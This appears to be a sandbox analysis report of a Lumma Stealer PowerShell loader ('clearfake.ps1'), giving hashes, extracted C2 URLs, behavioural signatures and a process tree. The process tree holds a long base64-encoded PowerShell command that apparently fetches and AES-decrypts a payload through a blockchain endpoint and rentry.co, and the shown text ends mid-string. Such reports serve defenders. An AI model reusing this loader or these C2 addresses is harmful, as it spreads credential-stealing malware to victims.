lumma | b50a2db8c00aa62a9bcffba4283803100177f4816b984eafab12b351392ccd0c

Analysis

max time kernel
145s
max time network
153s
platform
windows10-2004_x64
resource
win10v2004-20240226-en
resource tags

arch:x64arch:x86image:win10v2004-20240226-enlocale:en-usos:windows10-2004-x64system
submitted
17/06/2024, 09:50

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
clearfake.ps1
Size 5KB
Sample240617-lt91ssvgrf
SHA256 b50a2db8c00aa62a9bcffba4283803100177f4816b984eafab12b351392ccd0c
MD5 0215bbaa64da01f5855364da915f672f
SHA1 7cbf8a809d7c3eae11e985cda9eaf51241e8b092
SHA512 1dacdf75fea58a3f3c91b8ca111ef9a4603a0c0627e8357017bb17d66d4280ebf35fb3a8fa2c2af656927da8d2cbc4680a74823c82311aa5395a6ac8088f24a7
SSDEEP 96:0PfG1jM0o+AmV1g63pK2x1VXL/Rsi3lXQH7IJuYqF8qar+I4XPpefmHcytYqtC4c:0PfGhMtbmVOl8Ci1AH7z5KSI6Skt57MX
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

lumma execution stealer

Malware Config

Extracted

Language

Source

URLs

exe.dropper
https://bsc-dataseed1.binance.org/

Extracted

Family

lumma

https://secretiveonnicuw.shop/api
https://liabiliytshareodlkv.shop/api
https://notoriousdcellkw.shop/api
https://conferencefreckewl.shop/api
https://flourhishdiscovrw.shop/api
https://landdumpycolorwskfw.shop/api
https://parallelmercywksoffw.shop/api
https://barebrilliancedkoso.shop/api

Signatures

Lumma Stealer
An infostealer written in C++ first seen in August 2022.
stealer lumma

Blocklisted process makes network request 7 IoCs

flow	pid	Process
8	3420	powershell.exe
11	3420	powershell.exe
14	3420	powershell.exe
27	936	powershell.exe
29	936	powershell.exe
35	936	powershell.exe
70	936	powershell.exe

Executes dropped EXE 2 IoCs

pid	Process
2788	hv.exe
3956	hv.exe

Loads dropped DLL 3 IoCs

pid	Process
2788	hv.exe
3956	hv.exe
856	0x21.pif

Suspicious use of SetThreadContext 1 IoCs

description	pid	Process	procid_target
PID 3956 set thread context of 3928	3956	hv.exe	108

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
3420	powershell.exe
936	powershell.exe

Gathers network information 2 TTPs 1 IoCs

Uses commandline utility to view network configuration.

System Information Discovery

T1082

Command and Scripting Interpreter

T1059

pid	Process
684	ipconfig.exe

Suspicious behavior: EnumeratesProcesses 15 IoCs

pid	Process
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
3420	powershell.exe
936	powershell.exe
936	powershell.exe
2788	hv.exe
3956	hv.exe
3956	hv.exe
3956	hv.exe
3928	netsh.exe
3928	netsh.exe
3928	netsh.exe
3928	netsh.exe

Suspicious behavior: MapViewOfSection 2 IoCs

pid	Process
3956	hv.exe
3928	netsh.exe

Suspicious use of AdjustPrivilegeToken 2 IoCs

description	pid	Process
Token: SeDebugPrivilege	3420	powershell.exe
Token: SeDebugPrivilege	936	powershell.exe

Suspicious use of SetWindowsHookEx 2 IoCs

pid	Process
2788	hv.exe
3956	hv.exe

Suspicious use of WriteProcessMemory 18 IoCs

description	pid	Process	procid_target
PID 3420 wrote to memory of 684	3420	powershell.exe	93
PID 3420 wrote to memory of 684	3420	powershell.exe	93
PID 3420 wrote to memory of 936	3420	powershell.exe	94
PID 3420 wrote to memory of 936	3420	powershell.exe	94
PID 936 wrote to memory of 2788	936	powershell.exe	106
PID 936 wrote to memory of 2788	936	powershell.exe	106
PID 936 wrote to memory of 2788	936	powershell.exe	106
PID 2788 wrote to memory of 3956	2788	hv.exe	107
PID 2788 wrote to memory of 3956	2788	hv.exe	107
PID 2788 wrote to memory of 3956	2788	hv.exe	107
PID 3956 wrote to memory of 3928	3956	hv.exe	108
PID 3956 wrote to memory of 3928	3956	hv.exe	108
PID 3956 wrote to memory of 3928	3956	hv.exe	108
PID 3956 wrote to memory of 3928	3956	hv.exe	108
PID 3928 wrote to memory of 856	3928	netsh.exe	110
PID 3928 wrote to memory of 856	3928	netsh.exe	110
PID 3928 wrote to memory of 856	3928	netsh.exe	110
PID 3928 wrote to memory of 856	3928	netsh.exe	110

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\clearfake.ps1
1⤵
- Blocklisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3420
- C:\Windows\system32\ipconfig.exe
  "C:\Windows\system32\ipconfig.exe" /flushdns
  2⤵
  - Gathers network information
  PID:684
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -EncodedCommand JAAwADgAdABmAHAAUwBLAFoARQBqAG0AbABrADMAQQBoADkAZABYAFAATwBRAFcAeAA2AFQARgBuAEsAMwBJAE4AZgBUADEAMQAzAFEAcgBjAHQAdwBUAEwAUQBzAFQAVwBKAFMASgBSAGkAVABuAHAANABVAE4AOQAxAEIAZwA3ADYAeQBBAEsAMQBPAFcAdwBYADkARQBhAGMAcgB6AHoATwBoADkAeQA0ADEAegBkAFYAQgBjAGMAUQBRAEUAZQBQAHIATwB4AFkAdgBRAG8AWABFAEsAMABFADAAcQBBAHUAZgB5AGMAaABMAFkAVABnAFEAZQA1AG4AQwBHAE4AYQBvAGcARwBHAEwATwBQAGUAbwA0ADkAWAB6AEgAMgAzAGwAegBtAHcAQwBLAFMAQQBOAHYAMABnAG8AcABXAFoAdwBGAE4ATwBHAHkAbQBMAHAAMgBWAGkARgBjAEwARwBaAGYAaABHAE4ANgBqAEUAbQBiAGEAWABmAHQAdgBEAGEAVQB4AGYAbQAzAGMAcwBrAHMAOAB1AHYASgBrAHcARQBHAEcAWgBJAFcAWABLAGYANABwAHoAeAB1AG8AQgAwAEwANwBJAHcAZQBQAG8AWgBJAGMAWgBLAFoAUQAxAEoAUwB6AHkARgAwAEYAcABVAEMAWQB3AHMAUgB2AE0AdQB2AE4AYgB2AEcASABvAE8AUAB5AEQAagBwAHUAcQA0AEIANgBRAEcAbQAxAHEAbQBrAEkAWgAwAFQAUwBrAG0AcgBoAEIAaAA4AG0AbQBCAHQAOQBCAHcAZABNAFkAbwBNAEkAZgBSAEoANgBUAGUAOQBxAHYAUwBWAHgASAByAG0ARgBkAEoAWABCADQAZwA0ADUAZwBjAE0AYQA4ADEAUQBQAGgAdgBUAEsAaABTAFEAUQBvAFIAVQBjAG0AUgBQAEQATAB6ADMAQgA2ADMAdAA5AEsASAB1AG8AaQBPAFUANgBLAE8ARgA4AEUARAB4AEsAdABtAEIAbwB4ADQAcgBkAEsATgBGAHEAWABiAHAAVwB1AG8ASQBUAEYAWABhAHUAUQBTAFgAawA4ADUAWABsADYAYQBpAG8AOABJAHcANgA0AFkATwBmAEYAQgBHADMAZgB6AHoANQBUADAAbQBYAEkAdABnAGYAcwA0AEEAbwBsAEcAbwBwAFkAegBuAFQAbgBSAEYAVABQAG4AaQBqAGIAYgBZADgAcgBnAHkAUwBsAG8AeABrAHIAUgBLAGUASgBTAGYATABQADAAeQBMAGsAMQBNAFQAZQBtAEcAbQBhADYAagBIAGIAUABBAFAASABkAG8ASgBrAEMAUwBJAFUATgBwAEUAaABTAEMANgBNAGsAOQBrAHIAMgB0ACAAPQAgACIARwBlAHQAQgAiAAoACgAKAAoAJAB1AHcAagA0AHgASgBSAGQAbwBZAEwAeQA0AHUAaABmAFYASgAyADYAaABYAEYAWAA4AEcAUgBZADcAMgBHAGsAYwA1AHYAcgBVADQAcgBqAHIAOABjAGYATABMAFIAegBEAHAAdABXAGcANQBvAHIAVABZAFEAZABRADIAZgBmAG0AMQByADEARwBwAHoAVQBEAEMAbQAyAEoAawB4AEkARwB1AHgAOQBZAGcAQgBoAEgAUwBnAHEAUAB6AEUAaABQAFYAUgA2AHgAbwBoAEQAQgBZAFUASAB1AFoAbQBGAGYAUABiAFAAbABKAFEANgAwAEYAVwB6AGEAUgBxAGcAcwBhAHAAdQBmAEEAWABZAEwAVwBYAEYAegBxAEEAbQBhAG4AVABHAGsAbwAzAFkAMABxAHIAcABvAG8AOQBuAHIAbwAxAEMAdgAzAHQATQBIAEYATwBUAE8ANABnAEQAZQA3ADAASABlADgAMAAwAEgAcABxADkAZwAzADAAeABuAFEASQBlAHUASABHADcAWAAxAFIASgAzAGEARQBHAEMAUgB3AEQARgBvAE4ANgBGAFgARQA2AFoAcwBWAEkAZAB4AGoANABYADUAYwBtAEcAVgBpAFYATgByADYARwA4AGUAVABVADYAcQB4AGgAOQBWAHAAagBWAHYATABkAFIAQgAwAEcARwBDAFEAdgBOAHEARgA4AFUAVQBTADcAQgBiAGIAdQA1AGoAZQBiAEYAWQBIADAANwA3AFEATwBUAHIAVABBAGkAZABHAEUAQQAzADUAYwBhAHEAZgBGAGoAawBmAG8AdwBRAGYAQgB1AHMAegBqAGUAeQBFAGQAWABNAGQAVABQAFgAbwAyAEQAdwBsAFkAegByADYAWgA0AG0ANABuADUAcAA3AGkAbgBUAEUAWQBUAGYASgB0AHgAUwBMAEEASQBmAHUARwBhADQAdwB0AFgASgB3AHgAdwAgAD0AIAAiAHkAdABlAHMAIgAKAAoACgAKACQATgB2AHUARQBQAGQAOQBWAGUAcwBxAGsAZQAzADMAVgBUAGcAdQBRAHIAaAA0ADQANwBrAEcAbABnAGgAcABmAGYAaABTAE4AMAAxADYAVQBXADkAaQBBAGoAaQA5AHcAWQB0AFgAbgBXAEUATABhADAAbgBYAEMAUwBoAHEANwB4AEcAVQA0AGYAWQBIAEQAYwBJAFAAdwB1AGgATQBsADEAZgB2AGMAZwBvAE4AYgB1ADkAOABoAEEAVwBOAGkAdwBnAHoAUQBFADYAYQB4AHgARgBHADkARwA1AGQAbAB0AEcAOQB1AGkAbQB3AHYAOQBsAHoAMQBpAEwANgBXADMASABuAEMAcwBmAHkARwBuAHAAbABRAHEANAByAGUAZABxAEUAdgBmADMAYQBWAE4AeAAwADQATgAwAHMAUQBFAGcAaQBnAGcAVABQAHkARQB3AHEASABiAGYAVwBYAEIAagBxAEsAVQBnAFIAOAB5AE0AYwBvAHEAawBaAHMAVwBrAFQAbwAzADQAeAAwAEIAUwBSAGsAZAB6AFYAcwB3ADUAYQBiAGEANABlADMAbAA5AGIAdABPAFEAWABYAHUAbAAxADUAMgBKAHUAegBBAG0ARgBjAEoAVgByAEIARwBPAFQASwBDADkAZABZAEkAYwB5AGcAUgBxAGoARQA2AHgAdgAxAEkARgBtADkATQBmADcAYgBNAGIAOAB0AFUAMwBWAGMAQwBmAFMAWABQAHUASQBLAHQAagB1ADYAeAB5AG0AawBZAEIAZQBWADYAcQBFAGMARABWAHcAYQAwAFoASwBEAGcASwB0ADYAawBRAHoATwA2AFUAWQBHAGkAaQBHAHkAQQBqADkAQQBTADgAZgBuAEwAWgB5AFgAMQBiADcAegA5AEUAbQA3AHkAYgBiAFgAZQBSADIAaAA3AEoAOAB5ADQAcAB4AGoAWQBvAGkAaABRAEEAcgBqAG8ANQBsAHQATQBNAGQASwBGAHAAQgA5AFMAZAA0AEQAMgA5ADEAUwBtAGQAdQBwAEgAYQBaAEUAUwBTAFYAdQB5AEkAbgAyAEYARABVAHcAQQBOAEkAWQB3ADIAcQBoADMAUQBMAG0AdgBOAFgATABjAFYAeAAxAHcASgB6AG4AZgAgAD0AIAAoACQAMAA4AHQAZgBwAFMASwBaAEUAagBtAGwAawAzAEEAaAA5AGQAWABQAE8AUQBXAHgANgBUAEYAbgBLADMASQBOAGYAVAAxADEAMwBRAHIAYwB0AHcAVABMAFEAcwBUAFcASgBTAEoAUgBpAFQAbgBwADQAVQBOADkAMQBCAGcANwA2AHkAQQBLADEATwBXAHcAWAA5AEUAYQBjAHIAegB6AE8AaAA5AHkANAAxAHoAZABWAEIAYwBjAFEAUQBFAGUAUAByAE8AeABZAHYAUQBvAFgARQBLADAARQAwAHEAQQB1AGYAeQBjAGgATABZAFQAZwBRAGUANQBuAEMARwBOAGEAbwBnAEcARwBMAE8AUABlAG8ANAA5AFgAegBIADIAMwBsAHoAbQB3AEMASwBTAEEATgB2ADAAZwBvAHAAVwBaAHcARgBOAE8ARwB5AG0ATABwADIAVgBpAEYAYwBMAEcAWgBmAGgARwBOADYAagBFAG0AYgBhAFgAZgB0AHYARABhAFUAeABmAG0AMwBjAHMAawBzADgAdQB2AEoAawB3AEUARwBHAFoASQBXAFgASwBmADQAcAB6AHgAdQBvAEIAMABMADcASQB3AGUAUABvAFoASQBjAFoASwBaAFEAMQBKAFMAegB5AEYAMABGAHAAVQBDAFkAdwBzAFIAdgBNAHUAdgBOAGIAdgBHAEgAbwBPAFAAeQBEAGoAcAB1AHEANABCADYAUQBHAG0AMQBxAG0AawBJAFoAMABUAFMAawBtAHIAaABCAGgAOABtAG0AQgB0ADkAQgB3AGQATQBZAG8ATQBJAGYAUgBKADYAVABlADkAcQB2AFMAVgB4AEgAcgBtAEYAZABKAFgAQgA0AGcANAA1AGcAYwBNAGEAOAAxAFEAUABoAHYAVABLAGgAUwBRAFEAbwBSAFUAYwBtAFIAUABEAEwAegAzAEIANgAzAHQAOQBLAEgAdQBvAGkATwBVADYASwBPAEYAOABFAEQAeABLAHQAbQBCAG8AeAA0AHIAZABLAE4ARgBxAFgAYgBwAFcAdQBvAEkAVABGAFgAYQB1AFEAUwBYAGsAOAA1AFgAbAA2AGEAaQBvADgASQB3ADYANABZAE8AZgBGAEIARwAzAGYAegB6ADUAVAAwAG0AWABJAHQAZwBmAHMANABBAG8AbABHAG8AcABZAHoAbgBUAG4AUgBGAFQAUABuAGkAagBiAGIAWQA4AHIAZwB5AFMAbABvAHgAawByAFIASwBlAEoAUwBmAEwAUAAwAHkATABrADEATQBUAGUAbQBHAG0AYQA2AGoASABiAFAAQQBQAEgAZABvAEoAawBDAFMASQBVAE4AcABFAGgAUwBDADYATQBrADkAawByADIAdAAgACsAIAAkAHUAdwBqADQAeABKAFIAZABvAFkATAB5ADQAdQBoAGYAVgBKADIANgBoAFgARgBYADgARwBSAFkANwAyAEcAawBjADUAdgByAFUANAByAGoAcgA4AGMAZgBMAEwAUgB6AEQAcAB0AFcAZwA1AG8AcgBUAFkAUQBkAFEAMgBmAGYAbQAxAHIAMQBHAHAAegBVAEQAQwBtADIASgBrAHgASQBHAHUAeAA5AFkAZwBCAGgASABTAGcAcQBQAHoARQBoAFAAVgBSADYAeABvAGgARABCAFkAVQBIAHUAWgBtAEYAZgBQAGIAUABsAEoAUQA2ADAARgBXAHoAYQBSAHEAZwBzAGEAcAB1AGYAQQBYAFkATABXAFgARgB6AHEAQQBtAGEAbgBUAEcAawBvADMAWQAwAHEAcgBwAG8AbwA5AG4AcgBvADEAQwB2ADMAdABNAEgARgBPAFQATwA0AGcARABlADcAMABIAGUAOAAwADAASABwAHEAOQBnADMAMAB4AG4AUQBJAGUAdQBIAEcANwBYADEAUgBKADMAYQBFAEcAQwBSAHcARABGAG8ATgA2AEYAWABFADYAWgBzAFYASQBkAHgAagA0AFgANQBjAG0ARwBWAGkAVgBOAHIANgBHADgAZQBUAFUANgBxAHgAaAA5AFYAcABqAFYAdgBMAGQAUgBCADAARwBHAEMAUQB2AE4AcQBGADgAVQBVAFMANwBCAGIAYgB1ADUAagBlAGIARgBZAEgAMAA3ADcAUQBPAFQAcgBUAEEAaQBkAEcARQBBADMANQBjAGEAcQBmAEYAagBrAGYAbwB3AFEAZgBCAHUAcwB6AGoAZQB5AEUAZABYAE0AZABUAFAAWABvADIARAB3AGwAWQB6AHIANgBaADQAbQA0AG4ANQBwADcAaQBuAFQARQBZAFQAZgBKAHQAeABTAEwAQQBJAGYAdQBHAGEANAB3AHQAWABKAHcAeAB3ACkACgAKACQAdQBSAEkAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AYgBzAGMALQBkAGEAdABhAHMAZQBlAGQAMQAuAGIAaQBuAGEAbgBjAGUALgBvAHIAZwAvACIACgAKACQAUABBAFkAbABPAGEARAAgAD0AIABAAHsACgAKACAAIAAgACAAagBzAG8AbgByAHAAYwAgAD0AIAAiADIALgAwACIACgAKACAAbQBlAHQAaABvAGQAIAA9ACAAIgBlAHQAaABfAGMAYQBsAGwAIgAKAAoAIABwAGEAcgBhAG0AcwAgAD0AIABAACgACgAKACAAIAAgACAAIABAAHsACgAKACAAdABvACAAPQAgACIAMAB4AEMAMQAyAGQAMABjAEEANgA1AGIAOABiAEMAOAA3ADIANgA1AGIAMwAzAEMAMQAzAEIAYQBiADQANwA5AGUANQBEADkAMQBjAGMAMAA4AGUAIgAKAAoAZABhAHQAYQAgAD0AIAAiADAAeABjADIAZgBiADIANgBhADYAIgAKAAoAIAAgACAAIAB9ACwACgAKACAAIAAgACAAIAAgACAAIAAgACIAbABhAHQAZQBzAHQAIgAKAAoAIAAgACAAKQAKAAoAIAAgACAAIABpAGQAIAA9ACAANAA0AAoACgB9AAoACgAkAGoAUwBPAE4AUABhAHkATABPAGEAZAAgAD0AIAAkAFAAQQBZAGwATwBhAEQAIAB8ACAAQwBvAG4AdgBlAHIAdABUAG8ALQBKAHMAbwBuAAoACgAkAFIARQBTAHAAbwBOAFMAZQAgAD0AIABJAG4AdgBvAGsAZQAtAFIAZQBzAHQATQBlAHQAaABvAGQAIAAtAFUAcgBpACAAJAB1AFIASQAgAC0ATQBlAHQAaABvAGQAIABQAG8AcwB0ACAALQBCAG8AZAB5ACAAJABqAFMATwBOAFAAYQB5AEwATwBhAGQAIAAtAEMAbwBuAHQAZQBuAHQAVAB5AHAAZQAgACIAYQBwAHAAbABpAGMAYQB0AGkAbwBuAC8AagBzAG8AbgAiAAoACgBpAGYAIAAoACQAUgBFAFMAcABvAE4AUwBlAC4AUABTAE8AYgBqAGUAYwB0AC4AUAByAG8AcABlAHIAdABpAGUAcwAuAE4AYQBtAGUAIAAtAG4AbwB0AGMAbwBuAHQAYQBpAG4AcwAgACcAcgBlAHMAdQBsAHQAJwApACAAewAKAAoAIAAgAHIAZQB0AHUAcgBuAAoACgB9AAoACgAkAHIAZQBzAFUAbABUACAAPQAgACQAUgBFAFMAcABvAE4AUwBlAC4AcgBlAHMAdQBsAHQACgAKAGkAZgAgACgAJAByAGUAcwBVAGwAVAAuAFMAdABhAHIAdABzAFcAaQB0AGgAKAAiADAAeAAiACkAKQAgAHsACgAKACAAIAAgACAAIAAkAHIAZQBzAFUAbABUACAAPQAgACQAcgBlAHMAVQBsAFQALgBTAHUAYgBzAHQAcgBpAG4AZwAoADIAKQAKAAoAfQAKAAoAJABiAGkAbgBBAFIAWQB2AEEATAB1AEUAIAA9ACAAWwBiAHkAdABlAFsAXQBdADoAOgBuAGUAdwAoACQAcgBlAHMAVQBsAFQALgBMAGUAbgBnAHQAaAAgAC8AIAAyACkACgAKAGYAbwByACAAKAAkAEkAIAA9ACAAMAA7ACAAJABJACAALQBsAHQAIAAkAHIAZQBzAFUAbABUAC4ATABlAG4AZwB0AGgAOwAgACQASQAgACsAPQAgADIAKQAgAHsACgAKACAAIAAgACAAJABiAGkAbgBBAFIAWQB2AEEATAB1AEUAWwAkAEkAIAAvACAAMgBdACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQAcgBlAHMAVQBsAFQALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQASQAsACAAMgApACwAIAAxADYAKQAKAAoAfQAKAAoAJABBAFMAYwBJAEkAXwBUAGUAeAB0ACAAPQAgAFsAUwBZAHMAVABFAG0ALgB0AGUAeAB0AC4AZQBuAGMAbwBkAGkATgBnAF0AOgA6AEEAUwBDAEkASQAuAEcAZQB0AFMAdAByAGkAbgBnACgAJABiAGkAbgBBAFIAWQB2AEEATAB1AEUAKQAKAAoAJABwAEEAcgB0AHMAIAA9ACAAQAAoACQAQQBTAGMASQBJAF8AVABlAHgAdAAgAC0AcwBwAGwAaQB0ACAAIgBgADAAIgApACAAfAAgAEYAbwByAEUAYQBjAGgALQBPAGIAagBlAGMAdAAgAHsACgAKACAAIAAgACAAaQBmACAAKAAkAF8ALgBMAGUAbgBnAHQAaAAgAC0AZwB0ACAAMQApACAAewAgACQAXwAuAFMAdQBiAHMAdAByAGkAbgBnACgAMQApACAAfQAgAGUAbABzAGUAIAB7ACAAJABfACAAfQAKAAoAfQAKAAoAJABEAE8AbQBhAGkAbgAgAD0AIAAoAC0AagBvAGkAbgAgACQAcABBAHIAdABzACkALgBUAHIAaQBtAFMAdABhAHIAdAAoACkACgAKAGkAZgAgACgALQBuAG8AdAAgACQARABPAG0AYQBpAG4AKQAgAHsACgAKACAAIAAgACAAcgBlAHQAdQByAG4ACgAKAH0ACgAKAAoACgBmAHUAbgBjAHQAaQBvAG4AIABIAGUAeABTAHQAcgBpAG4AZwBgAFQAbwBCAHkAdABlAEEAcgByAGEAeQAoACQASABlAHgAUwB0AHIASQBuAEcAKQAgAHsACgAKACAAIAAgACAAJABCAHkAdABFAFMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAGIAeQBUAGUAWwBdACAAKAAkAEgAZQB4AFMAdAByAEkAbgBHAC4ATABlAG4AZwB0AGgAIAAvACAAMgApAAoACgBmAG8AcgAgACgAJABJACAAPQAgADAAOwAgACQASQAgAC0AbAB0ACAAJABCAHkAdABFAFMALgBMAGUAbgBnAHQAaAA7ACAAJABJACsAKwApACAAewAKAAoAIAAgACAAIAAkAEIAeQB0AEUAUwBbACQASQBdACAAPQAgAFsAQwBvAG4AdgBlAHIAdABdADoAOgBUAG8AQgB5AHQAZQAoACQASABlAHgAUwB0AHIASQBuAEcALgBTAHUAYgBzAHQAcgBpAG4AZwAoACQASQAgACoAIAAyACwAIAAyACkALAAgADEANgApAAoACgAgACAAIAAgACAAIAAgAH0ACgAKACAAIAAgACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAEIAeQB0AEUAUwAKAAoAfQAKAAoACgAKACQAYQAxAGIAMgBDADMAIAA9ACAAIgBoAHQAdABwAHMAOgAvAC8AcgBlAG4AdAByAHkALgBjAG8ALwB0ADUAMgA2ADYAcQAzAHAALwByAGEAdwAiAAoACgAkAFgAOQB5ADgAegA3ACAAPQAgAEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAGEAMQBiADIAQwAzACAALQBVAHMAZQBCAGEAcwBpAGMAUABhAHIAcwBpAG4AZwAKAAoAJABJAFYAQwBPAE4AdABFAG4AdAAgAD0AIAAkAFgAOQB5ADgAegA3AC4AQwBvAG4AdABlAG4AdAAuAFQAcgBpAG0AKAApAAoACgAKAAoAZgB1AG4AYwB0AGkAbwBuACAAagBUAHkAYABIAEIASwBrAHUAawBqAGsAYABoAGQAQQBkAEMAeQBSAGAAQQBxAFYAYABVAEoAdgBgAFgAdQB2AFoAYABqAGMAZQBwAGcAYABJAGYATwB4AGAAegBhAGYAIAB7AAoACgBwAGEAcgBhAG0AIAAoAAoACgAgACAAWwBzAHQAcgBpAG4AZwBdACQARQBOAGMAUgB5AFAAVABlAEQAVABFAFgAVAAsAAoACgAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQAawBFAFkALAAKAAoAIAAgACAAIAAgACAAIAAgACAAWwBzAHQAcgBpAG4AZwBdACQASQBuAGkAVABJAGEATABpAFoAQQBUAGkAbwBOAHYARQBDAHQAbwByAAoACgAgACAAKQAKAAoAIAAgACAAIAAkAFUAVABGADgAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AVABlAHgAdAAuAFUAVABGADgARQBuAGMAbwBkAGkAbgBnAAoACgAgACAAIAAkAEMASQBwAGgAZQByAGIAeQB0AEUAUwAgAD0AIABbAEMAbwBuAHYAZQByAHQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQARQBOAGMAUgB5AFAAVABlAEQAVABFAFgAVAApAAoACgAgACAAIAAgACAAIAAgACQAQQBFAHMAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAFMAeQBzAHQAZQBtAC4AUwBlAGMAdQByAGkAdAB5AC4AQwByAHkAcAB0AG8AZwByAGEAcABoAHkALgBBAGUAcwBNAGEAbgBhAGcAZQBkAAoACgAkAEEARQBzAC4ATQBvAGQAZQAgAD0AIABbAHMAWQBzAHQARQBNAC4AUwBFAEMAdQBSAGkAVAB5AC4AQwByAFkAUAB0AE8ARwBSAEEAUABIAHkALgBDAEkAUABIAGUAUgBtAE8AZABlAF0AOgA6AEMAQgBDAAoACgAgACAAIAAgACQAQQBFAHMALgBQAGEAZABkAGkAbgBnACAAPQAgAFsAUwBZAHMAdABlAE0ALgBzAGUAQwB1AFIAaQBUAFkALgBDAHIAeQBwAFQATwBHAHIAYQBwAEgAWQAuAFAAQQBEAEQASQBuAEcATQBPAEQAZQBdADoAOgBQAEsAQwBTADcACgAKACAAJABBAEUAcwAuAEsAZQB5AFMAaQB6AGUAIAA9ACAAMQAyADgACgAKACAAJABBAEUAcwAuAEIAbABvAGMAawBTAGkAegBlACAAPQAgADEAMgA4AAoACgAgACAAJABBAEUAcwAuAEsAZQB5ACAAPQAgACQAVQBUAEYAOAAuACQATgB2AHUARQBQAGQAOQBWAGUAcwBxAGsAZQAzADMAVgBUAGcAdQBRAHIAaAA0ADQANwBrAEcAbABnAGgAcABmAGYAaABTAE4AMAAxADYAVQBXADkAaQBBAGoAaQA5AHcAWQB0AFgAbgBXAEUATABhADAAbgBYAEMAUwBoAHEANwB4AEcAVQA0AGYAWQBIAEQAYwBJAFAAdwB1AGgATQBsADEAZgB2AGMAZwBvAE4AYgB1ADkAOABoAEEAVwBOAGkAdwBnAHoAUQBFADYAYQB4AHgARgBHADkARwA1AGQAbAB0AEcAOQB1AGkAbQB3AHYAOQBsAHoAMQBpAEwANgBXADMASABuAEMAcwBmAHkARwBuAHAAbABRAHEANAByAGUAZABxAEUAdgBmADMAYQBWAE4AeAAwADQATgAwAHMAUQBFAGcAaQBnAGcAVABQAHkARQB3AHEASABiAGYAVwBYAEIAagBxAEsAVQBnAFIAOAB5AE0AYwBvAHEAawBaAHMAVwBrAFQAbwAzADQAeAAwAEIAUwBSAGsAZAB6AFYAcwB3ADUAYQBiAGEANABlADMAbAA5AGIAdABPAFEAWABYAHUAbAAxADUAMgBKAHUAegBBAG0ARgBjAEoAVgByAEIARwBPAFQASwBDADkAZABZAEkAYwB5AGcAUgBxAGoARQA2AHgAdgAxAEkARgBtADkATQBmADcAYgBNAGIAOAB0AFUAMwBWAGMAQwBmAFMAWABQAHUASQBLAHQAagB1ADYAeAB5AG0AawBZAEIAZQBWADYAcQBFAGMARABWAHcAYQAwAFoASwBEAGcASwB0ADYAawBRAHoATwA2AFUAWQBHAGkAaQBHAHkAQQBqADkAQQBTADgAZgBuAEwAWgB5AFgAMQBiADcAegA5AEUAbQA3AHkAYgBiAFgAZQBSADIAaAA3AEoAOAB5ADQAcAB4AGoAWQBvAGkAaABRAEEAcgBqAG8ANQBsAHQATQBNAGQASwBGAHAAQgA5AFMAZAA0AEQAMgA5ADEAUwBtAGQAdQBwAEgAYQBaAEUAUwBTAFYAdQB5AEkAbgAyAEYARABVAHcAQQBOAEkAWQB3ADIAcQBoADMAUQBMAG0AdgBOAFgATABjAFYAeAAxAHcASgB6AG4AZgAoACQAawBFAFkAKQAKAAoAIAAkAEEARQBzAC4ASQBWACAAPQAgAEgAZQB4AFMAdAByAGkAbgBnAFQAbwBCAHkAdABlAEEAcgByAGEAeQAoACQASQBuAGkAVABJAGEATABpAFoAQQBUAGkAbwBOAHYARQBDAHQAbwByACkACgAKACAAIAAgACAAIAAgACAAIAAkAFQAUgBBAE4AUwBmAE8AUgBtACAAPQAgACQAQQBFAHMALgBDAHIAZQBhAHQAZQBEAGUAYwByAHkAcAB0AG8AcgAoACkACgAKACAAIAAgACAAIAAgACQAUABMAEEAaQBuAEIAeQBUAGUAUwAgAD0AIAAkAFQAUgBBAE4AUwBmAE8AUgBtAC4AVAByAGEAbgBzAGYAbwByAG0ARgBpAG4AYQBsAEIAbABvAGMAawAoACQAQwBJAHAAaABlAHIAYgB5AHQARQBTACwAIAAwACwAIAAkAEMASQBwAGgAZQByAGIAeQB0AEUAUwAuAEwAZQBuAGcAdABoACkACgAKACAAIAAgACAAcgBlAHQAdQByAG4AIAAkAFUAVABGADgALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAUABMAEEAaQBuAEIAeQBUAGUAUwApAAoACgB9AAoACgAKAAoAJABLAGUAWQAgAD0AIABbAFMAWQBzAFQARQBtAC4AdABlAHgAdAAuAGUAbgBjAG8AZABpAE4AZwBdADoAOgBVAFQARgA4AC4ARwBlAHQAUwB0AHIAaQBuAGcAKABbAFMAeQBTAFQARQBNAC4AYwBPAE4AdgBlAFIAVABdADoAOgBGAHIAbwBtAEIAYQBzAGUANgA0AFMAdAByAGkAbgBnACgAIgBTAGoAVgBRAFIAVwBJADIAVwBFAHAAbQBiAFgAbABMAFYAWABGADIATgB3AD0APQAiACkAKQAKAAoAJABJAFYAIAA9ACAAWwBTAFkAcwBUAEUAbQAuAHQAZQB4AHQALgBlAG4AYwBvAGQAaQBOAGcAXQA6ADoAVQBUAEYAOAAuAEcAZQB0AFMAdAByAGkAbgBnACgAWwBTAHkAUwBUAEUATQAuAGMATwBOAHYAZQBSAFQAXQA6ADoARgByAG8AbQBCAGEAcwBlADYANABTAHQAcgBpAG4AZwAoACQASQBWAEMATwBOAHQARQBuAHQAKQApAAoACgAkAEQAYwBTADEAIAA9AC